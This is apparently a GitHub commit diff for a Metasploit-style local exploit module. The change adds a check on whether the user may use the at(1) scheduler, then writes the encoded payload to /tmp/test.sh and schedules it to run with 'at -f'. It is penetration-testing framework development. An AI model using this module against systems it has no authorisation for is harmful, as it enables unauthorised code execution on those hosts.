File tree Expand file tree Collapse file tree 1 file changed +11
-3
lines changed
modules/exploits/multi/local Expand file tree Collapse file tree 1 file changed +11
-3
lines changed Original file line number Diff line number Diff line change @@ -47,14 +47,22 @@ def initialize(info = {})
47
47
)
48
48
end
49
49
50
- # TODO: find a better way to determine if the user can use at(1). cmd_exec doesn't get us stderr or a return code
51
50
def check
52
- cmd_exec ( "ls -l" )
51
+ token = "fail #{ Rex ::Text . rand_text_alphanumeric ( 8 ) } "
52
+ if cmd_exec ( "at -l || echo #{ token } " ) =~ /#{ token } /
53
+ Exploit ::CheckCode ::Safe
54
+ else
55
+ Exploit ::CheckCode ::Vulnerable
56
+ end
53
57
end
54
58
55
59
def exploit
60
+ unless check == Exploit ::CheckCode ::Vulnerable
61
+ fail_with ( Failure ::NoAccess , 'User denied cron via at.deny' )
62
+ end
63
+
56
64
write_file ( "/tmp/test.sh" , payload . encoded )
57
- print_status ( cmd_exec ( "at -f /tmp/test.sh #{ datastore [ 'TIME' ] } " ) )
65
+ cmd_exec ( "at -f /tmp/test.sh #{ datastore [ 'TIME' ] } " )
58
66
print_status ( "Waiting #{ datastore [ 'WfsDelay' ] } sec for execution" )
59
67
Rex . sleep ( datastore [ 'WfsDelay' ] . to_i )
60
68
end
You can’t perform that action at this time.
0 commit comments